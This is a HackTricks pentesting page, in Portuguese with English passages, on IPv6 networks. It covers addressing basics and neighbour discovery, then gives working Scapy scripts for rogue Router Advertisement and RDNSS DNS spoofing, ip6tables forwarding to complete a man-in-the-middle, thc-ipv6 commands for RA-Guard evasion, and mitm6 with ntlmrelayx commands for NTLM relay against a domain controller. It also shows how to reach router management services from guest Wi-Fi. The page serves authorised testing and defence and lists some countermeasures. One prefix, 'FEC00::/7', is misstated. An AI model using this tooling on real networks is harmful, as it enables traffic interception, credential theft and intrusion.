Pentesting IPv6
Tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
Teoria básica do IPv6
Redes
Endereços IPv6 são estruturados para melhorar a organização da rede e a interação entre dispositivos. Um endereço IPv6 é dividido em:
- Prefixo de Rede: Os 48 primeiros bits, determinando o segmento de rede.
- ID de Sub-rede: 16 bits seguintes, usados para definir sub-redes específicas dentro da rede.
- Identificador de Interface: Os 64 bits finais, identificando de forma única um dispositivo dentro da sub-rede.
Enquanto o IPv6 elimina o protocolo ARP presente no IPv4, ele introduz o ICMPv6 com duas mensagens principais:
- Neighbor Solicitation (NS): Mensagens multicast para resolução de endereços.
- Neighbor Advertisement (NA): Respostas unicast a NS ou anúncios espontâneos.
IPv6 também incorpora tipos especiais de endereços:
- Endereço Loopback (
::1): Equivalente ao127.0.0.1do IPv4, para comunicação interna dentro do host. - Endereços Link-Local (
FE80::/10): Para atividades na rede local, não para roteamento na internet. Dispositivos na mesma rede local podem descobrir-se usando esse intervalo.
Uso prático do IPv6 em comandos de rede
Para interagir com redes IPv6, você pode usar vários comandos:
- Ping de Endereços Link-Local: Verifique a presença de dispositivos locais usando
ping6. - Descoberta de Vizinhos: Use
ip neighpara ver dispositivos descobertos na camada de enlace. - alive6: Uma ferramenta alternativa para descobrir dispositivos na mesma rede.
Abaixo estão alguns exemplos de comandos:
ping6 –I eth0 -c 5 ff02::1 > /dev/null 2>&1
ip neigh | grep ^fe80
# Alternatively, use alive6 for neighbor discovery
alive6 eth0
Endereços IPv6 podem ser derivados do MAC de um dispositivo para comunicação local. Aqui vai um guia simplificado sobre como derivar o endereço Link-local IPv6 a partir de um MAC conhecido, e uma breve visão geral dos tipos de endereços IPv6 e métodos para descobrir endereços IPv6 dentro de uma rede.
Derivando Link-local IPv6 a partir do MAC address
Dado um MAC address 12:34:56:78:9a:bc, você pode construir o endereço Link-local IPv6 da seguinte forma:
- Converta o MAC para o formato IPv6:
1234:5678:9abc - Anteponha
fe80::e insirafffeno meio:fe80::1234:56ff:fe78:9abc - Inverta o sétimo bit da esquerda, mudando
1234para1034:fe80::1034:56ff:fe78:9abc
Tipos de Endereços IPv6
- Unique Local Address (ULA): Para comunicações locais, não destinado ao roteamento pela internet pública. Prefixo:
FEC00::/7 - Multicast Address: Para comunicação de um-para-muitos. Entregue a todas as interfaces do grupo multicast. Prefixo:
FF00::/8 - Anycast Address: Para comunicação um-para-o-mais-próximo. Enviado para a interface mais próxima conforme o protocolo de roteamento. Faz parte do intervalo de unicast global
2000::/3.
Prefixos de Endereço
- fe80::/10: Endereços Link-Local (semelhante a 169.254.x.x)
- fc00::/7: Unique Local-Unicast (semelhante às faixas privadas IPv4 como 10.x.x.x, 172.16.x.x, 192.168.x.x)
- 2000::/3: Global Unicast
- ff02::1: Multicast All Nodes
- ff02::2: Multicast Router Nodes
Descobrindo endereços IPv6 dentro de uma rede
Maneira 1: Usando endereços Link-local
- Obtenha o MAC address de um dispositivo na rede.
- Obtenha o endereço Link-local IPv6 a partir do MAC address.
Maneira 2: Usando Multicast
- Envie um ping para o endereço multicast
ff02::1para descobrir endereços IPv6 na rede local.
service ufw stop # Stop the firewall
ping6 -I <IFACE> ff02::1 # Send a ping to multicast address
ip -6 neigh # Display the neighbor table
IPv6 Man-in-the-Middle (MitM) Attacks
Existem várias técnicas para executar MitM attacks em redes IPv6, tais como:
- Spoofing ICMPv6 neighbor or router advertisements.
- Using ICMPv6 redirect or “Packet Too Big” messages to manipulate routing.
- Attacking mobile IPv6 (usually requires IPSec to be disabled).
- Setting up a rogue DHCPv6 server.
Identifying IPv6 Addresses in the eild
Explorando Subdomínios
Um método para encontrar subdomínios que estão potencialmente ligados a endereços IPv6 envolve aproveitar motores de busca. Por exemplo, empregar um padrão de consulta como ipv6.* pode ser eficaz. Especificamente, o seguinte comando de pesquisa pode ser usado no Google:
site:ipv6./
Utilizando consultas DNS
Para identificar endereços IPv6, certos tipos de registros DNS podem ser consultados:
- AXFR: Solicita uma transferência completa de zona, potencialmente revelando uma ampla gama de registros DNS.
- AAAA: Busca diretamente endereços IPv6.
- ANY: Uma consulta ampla que retorna todos os registros DNS disponíveis.
Sondagem com Ping6
Após localizar endereços IPv6 associados a uma organização, a ferramenta ping6 pode ser usada para sondagem. Essa ferramenta ajuda a avaliar a capacidade de resposta dos endereços IPv6 identificados e também pode auxiliar na descoberta de dispositivos IPv6 adjacentes.
Técnicas de ataque em rede local IPv6
As seções seguintes cobrem ataques IPv6 práticos de camada 2 que podem ser executados dentro do mesmo segmento /64 sem conhecer qualquer prefixo global. Todos os pacotes mostrados abaixo são link-local e trafegam apenas pelo switch local, tornando-os extremamente furtivos na maioria dos ambientes.
Ajuste do sistema para um laboratório estável
Antes de brincar com tráfego IPv6, recomenda-se reforçar sua máquina para evitar ser poisoned pelos seus próprios testes e para obter o melhor desempenho durante massive packet injection/sniffing.
# Enable promiscuous mode to capture all frames
sudo ip link set dev eth0 promisc on
# Ignore rogue Router Advertisements & Redirects coming from the segment
sudo sysctl -w net.ipv6.conf.all.accept_ra=0
sudo sysctl -w net.ipv6.conf.all.accept_redirects=0
# Increase fd / backlog limits when generating lots of traffic
sudo sysctl -w fs.file-max=100000
sudo sysctl -w net.core.somaxconn=65535
sudo sysctl -w net.ipv4.tcp_tw_reuse=1
Passive NDP & DHCPv6 Sniffing
Porque todo host IPv6 entra automaticamente em múltiplos grupos multicast (ff02::1, ff02::2, …) e fala ICMPv6 para SLAAC/NDP, você pode mapear todo o segmento sem enviar um único pacote. O seguinte Python/Scapy one-liner escuta as mensagens L2 mais interessantes e imprime um log colorido, com carimbo de tempo, de quem é quem:
#!/usr/bin/env python3
from scapy.all import *
from scapy.layers.dhcp6 import *
from datetime import datetime
from colorama import Fore, Style, init
import argparse
init(autoreset=True)
# Human-readable names for protocols we care about
DHCP6_TYPES = {
DHCP6_Solicit: 'Solicit',
DHCP6_Advertise: 'Advertise',
DHCP6_Request: 'Request',
DHCP6_Reply: 'Reply',
DHCP6_Renew: 'Renew',
DHCP6_Rebind: 'Rebind',
DHCP6_RelayForward:'Relay-Forward',
DHCP6_RelayReply: 'Relay-Reply'
}
ICMP6_TYPES = {
ICMPv6ND_RS: ('Router Solicitation', Fore.CYAN),
ICMPv6ND_RA: ('Router Advertisement', Fore.GREEN),
ICMPv6ND_NS: ('Neighbor Solicitation',Fore.BLUE),
ICMPv6ND_NA: ('Neighbor Advertisement',Fore.MAGENTA),
ICMPv6ND_Redirect:('Redirect', Fore.LIGHTRED_EX),
ICMPv6MLReport: ('MLD Report', Fore.LIGHTCYAN_EX),
ICMPv6MLReport2: ('MLD Report', Fore.LIGHTCYAN_EX),
ICMPv6MLDone: ('MLD Done', Fore.LIGHTCYAN_EX),
ICMPv6EchoRequest:('Echo Request', Fore.LIGHTBLACK_EX),
ICMPv6EchoReply: ('Echo Reply', Fore.LIGHTBLACK_EX)
}
def handler(pkt):
eth_src = pkt[Ether].src if Ether in pkt else '?'
eth_dst = pkt[Ether].dst if Ether in pkt else '?'
ip6_src = pkt[IPv6].src if IPv6 in pkt else '?'
ip6_dst = pkt[IPv6].dst if IPv6 in pkt else '?'
# Identify protocol family first
for proto,(desc,color) in ICMP6_TYPES.items():
if proto in pkt:
break
else:
if UDP in pkt and pkt[UDP].dport == 547: # DHCPv6 server port
for dhcp_t,name in DHCP6_TYPES.items():
if dhcp_t in pkt:
desc = 'DHCPv6 – '+name; color = Fore.YELLOW; break
else:
return # not a DHCPv6 message we track
else:
return # not interesting
print(color + f"[{datetime.now().strftime('%H:%M:%S')}] {desc}")
print(f" MAC {eth_src} -> {eth_dst}")
print(f" IPv6 {ip6_src} -> {ip6_dst}")
print('-'*60)
if __name__ == '__main__':
argp = argparse.ArgumentParser(description='IPv6 NDP & DHCPv6 sniffer')
argp.add_argument('-i','--interface',required=True,help='Interface to sniff')
argp.add_argument('-t','--time',type=int,default=0,help='Duration (0 = infinite)')
a = argp.parse_args()
sniff(iface=a.interface,prn=handler,timeout=a.time or None,store=0)
Resultado: uma link-local topology completa (MAC ⇄ IPv6) em questão de segundos, sem acionar sistemas IPS/IDS que dependem de varreduras ativas.
Router Advertisement (RA) Spoofing
Hosts IPv6 dependem de ICMPv6 Router Advertisements para a descoberta do gateway padrão. Se você injetar RAs forjados com mais frequência do que o roteador legítimo, os dispositivos passarão silenciosamente a usar você como gateway.
#!/usr/bin/env python3
from scapy.all import *
import argparse
p = argparse.ArgumentParser()
p.add_argument('-i','--interface',required=True)
p.add_argument('-m','--mac',required=True,help='Source MAC (will be put in SrcLL option)')
p.add_argument('--llip',required=True,help='Link-local source IP, e.g. fe80::dead:beef')
p.add_argument('-l','--lifetime',type=int,default=1800,help='Router lifetime')
p.add_argument('--interval',type=int,default=5,help='Seconds between RAs')
p.add_argument('--revert',action='store_true',help='Send lifetime=0 to undo attack')
args = p.parse_args()
lifetime = 0 if args.revert else args.lifetime
ra = (IPv6(src=args.llip,dst='ff02::1',hlim=255)/
ICMPv6ND_RA(routerlifetime=lifetime, prf=0x1)/ # High preference
ICMPv6NDOptSrcLLAddr(lladdr=args.mac))
send(ra,iface=args.interface,loop=1,inter=args.interval)
Para realmente encaminhar o tráfego após ganhar a corrida:
sudo sysctl -w net.ipv6.conf.all.forwarding=1
sudo ip6tables -A FORWARD -i eth0 -j ACCEPT
sudo ip6tables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
Flags de Router Advertisement (M/O) & Preferência de Roteador Padrão (Prf)
| Flag | Meaning | Effect on Client Behaviour |
|---|---|---|
| M (Managed Address Configuration) | Indica que endereçamento com estado via DHCPv6 está disponível no segmento. | Forte indicador de que DHCPv6 spoofing pode funcionar. |
| O (Other Configuration) | Indica que hosts devem usar DHCPv6 para outros parâmetros (DNS, NTP, …). | O endereço ainda geralmente vem do SLAAC, mas o DNS pode ser hijacked com DHCPv6. |
| M=0 / O=0 | Rede no estilo SLAAC puro. | DHCPv6 pode nunca aparecer; foque em RA rogue / RDNSS em vez de mitm6. |
| M=1 / O=1 | Ambiente misto. | Tanto informações de DHCPv6 quanto de SLAAC podem coexistir; a superfície de spoofing é a maior. |
Durante um pentest você pode simplesmente inspecionar o RA legítimo uma vez e decidir qual vetor é viável:
sudo tcpdump -vvv -i eth0 'icmp6 && ip6[40] == 134' # capture Router Advertisements
Procure pelo campo flags [M,O] no dump – sem necessidade de adivinhação.
O campo Prf (Router Preference) dentro do cabeçalho RA controla quão atraente seu rogue router parece quando múltiplos gateways estão presentes:
| Prf value | Binary | Meaning |
|---|---|---|
| High | 10 | Clientes preferem este roteador em relação a qualquer um Medium/Low |
| Medium (default) | 01 | Usado por quase todo dispositivo legítimo |
| Low | 00 | Escolhido apenas quando não existe roteador melhor |
Ao gerar o pacote com Scapy você pode configurá-lo através do parâmetro prf como mostrado acima (prf=0x1 → High). Combinar High Prf, um short interval, e uma non-zero lifetime torna seu rogue gateway notavelmente estável.
RDNSS (DNS) Spoofing via RA
RFC 8106 permite adicionar uma opção Recursive DNS Server (RDNSS) dentro de um RA. Esta é a go-to DNS hijack primitive quando o segmento é SLAAC-only (M=0 / O=0) e os clientes não conversam com DHCPv6. O suporte por cliente é dependente da implementação, então valide o SO alvo no laboratório em vez de assumir consumo universal de RDNSS.
#!/usr/bin/env python3
from scapy.all import *
import argparse
p = argparse.ArgumentParser()
P = p.add_argument
P('-i','--interface',required=True)
P('--llip',required=True)
P('--dns',required=True,help='Fake DNS IPv6')
P('--lifetime',type=int,default=600)
P('--interval',type=int,default=5)
args = p.parse_args()
ra = (IPv6(src=args.llip,dst='ff02::1',hlim=255)/
ICMPv6ND_RA(routerlifetime=0)/
ICMPv6NDOptRDNSS(dns=[args.dns],lifetime=args.lifetime))
send(ra,iface=args.interface,loop=1,inter=args.interval)
O mesmo pacote também pode carregar uma opção DNSSL para envenenar caminhos de resolução de nomes curtos em ambientes IPv6-only ou dual-stack onde domínios de pesquisa importam. Se você encerrar o ataque de forma limpa, envie um RA de reversão com a mesma opção e lifetime=0.
RA-Guard Evasion na Prática
RFC 7113 documenta por que implantações simplistas de RA-Guard podem ser contornadas quando não conseguem analisar a cadeia completa de cabeçalhos IPv6 ou deixam passar fragmentos (fail open). Isso não é pesquisa nova, mas ainda é relevante operacionalmente porque muitos switches de acesso implementam apenas filtragem parcial.
Recent thc-ipv6 builds expose this directly in the tooling:
# Hop-by-Hop header before the RA
sudo atk6-fake_router6 -H eth0 2001:db8:1337::/64
# Fragmentation / destination-options variants against weak RA-Guard
sudo atk6-fake_router6 -F eth0 2001:db8:1337::/64
sudo atk6-fake_router6 -D eth0 2001:db8:1337::/64
# Flooded variant with full RA-Guard evasion and DHCPv6 flags set
sudo atk6-flood_router26 -F -m eth0
Use estes apenas depois de confirmar que uma RA forjada normal está sendo filtrada. Se -H/-D/-F subitamente faz com que os hosts aceitem seu roteador rogue, você tem evidência de que o switch está combinando apenas o cabeçalho IPv6 fixo em vez do payload real do ICMPv6 RA.
DHCPv6 DNS Spoofing (mitm6)
Quando o RA legítimo anuncia M e/ou O, clientes Windows comumente emitem requisições DHCPv6 para endereço ou configuração auxiliar. mitm6 abusa desse comportamento respondendo ao DHCPv6 e inserindo seu link-local IPv6 como DNS com um lease curto. Isso desbloqueia:
- NTLM relay attacks (WPAD + DNS hijacking)
- Interceptar resolução de nomes interna sem tocar nos roteadores
- Baixo ruído de direcionamento porque você pode limitar o poisoning a hosts ou domínios específicos
Uso típico:
# DNS takeover without sending rogue RAs
sudo mitm6 -i eth0 --no-ra -d corp.local --host-allowlist wsus
# Pair it with IPv6-capable relay listeners
sudo ntlmrelayx.py -6 -t ldaps://dc.corp.local -wh wpad
Useful details from current mitm6 builds:
--no-ramantém o ataque apenas via DHCPv6 quando a rede detecta RAs maliciosos.-d/--domainand--host-allowlistmantêm o poisoning restrito em vez de hijacking de todas as queries no segmento.--ignore-nofqdnreduz o ruído de clientes que omitem a opção DHCPv6 FQDN.
Se o segmento for puro SLAAC (M=0 / O=0), mitm6 geralmente é a primitiva errada. Use RAs maliciosos / RDNSS em vez disso, e mantenha a lógica de relay de nível superior na página WPAD/relay.
Defesas
- RA Guard / DHCPv6 Guard / ND Inspection em switches gerenciados.
- ACLs de porta que permitem apenas o MAC do roteador legítimo enviar RAs.
- Monitorar por RAs com taxa inesperadamente alta ou súbitas mudanças em RDNSS.
- Desabilitar IPv6 nos endpoints é uma solução temporária que frequentemente quebra serviços modernos e oculta pontos cegos – prefira filtragem L2.
NDP Router Discovery on Guest/Public SSIDs and Management Service Exposure
Muitos roteadores consumer expõem daemons de gestão (HTTP(S), SSH/Telnet, TR-069, etc.) em todas as interfaces. Em algumas implantações, o SSID “guest/public” é bridgeado para o WAN/core e é somente IPv6. Mesmo que o IPv6 do roteador mude a cada boot, você pode descobri‑lo de forma confiável usando NDP/ICMPv6 e então conectar‑se diretamente ao plano de gestão a partir do SSID de guest.
Fluxo típico a partir de um cliente conectado ao SSID guest/public:
- Descobrir o roteador via ICMPv6 Router Solicitation para o multicast All-Routers
ff02::2e capturar o Router Advertisement (RA):
# Listen for Router Advertisements (ICMPv6 type 134)
sudo tcpdump -vvv -i <IFACE> 'icmp6 and ip6[40]==134'
# Provoke an RA by sending a Router Solicitation to ff02::2
python3 - <<'PY'
from scapy.all import *
send(IPv6(dst='ff02::2')/ICMPv6ND_RS(), iface='<IFACE>')
PY
O RA revela o link-local do roteador e frequentemente um endereço/prefixo global. Se apenas um link-local for conhecido, lembre-se de que as conexões devem especificar o zone index, por exemplo ssh -6 admin@[fe80::1%wlan0].
Alternativa: use ndisc6 suite se disponível:
# rdisc6 sends RS and prints RAs in a friendly way
rdisc6 <IFACE>
- Alcançar serviços expostos via IPv6 a partir do SSID de convidados:
# SSH/Telnet example (replace with discovered address)
ssh -6 admin@[2001:db8:abcd::1]
# Web UI over IPv6
curl -g -6 -k 'http://[2001:db8:abcd::1]/'
# Fast IPv6 service sweep
nmap -6 -sS -Pn -p 22,23,80,443,7547 [2001:db8:abcd::1]
- Se o shell de gerenciamento fornece packet-capture tooling via um wrapper (por exemplo, tcpdump), verifique injeção de argumentos/nomes de arquivo que permita passar flags extras do tcpdump como
-G/-W/-zpara atingir post-rotate command execution. Veja:
Defences/notes:
- Não vincule o gerenciamento a guest/public bridges; aplique firewalls IPv6 em SSID bridges.
- Aplique rate-limit e filtre NDP/RS/RA nos segmentos de guest onde for viável.
- Para serviços que precisam ser alcançáveis, imponha authN/MFA e rate-limits fortes.
Referências
- Legless – IPv6 Penetration Testing
- mitm6
- RFC 7113 – RA-Guard Implementation Advice
- RFC 8106 – IPv6 ND DNS Configuration
- http://www.firewall.cx/networking-topics/protocols/877-ipv6-subnetting-how-to-subnet-ipv6.html
- https://www.sans.org/reading-room/whitepapers/detection/complete-guide-ipv6-attack-defense-33904
- Practical Guide to IPv6 Attacks in a Local Network
- FiberGateway GR241AG – Full Exploit Chain
Tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.


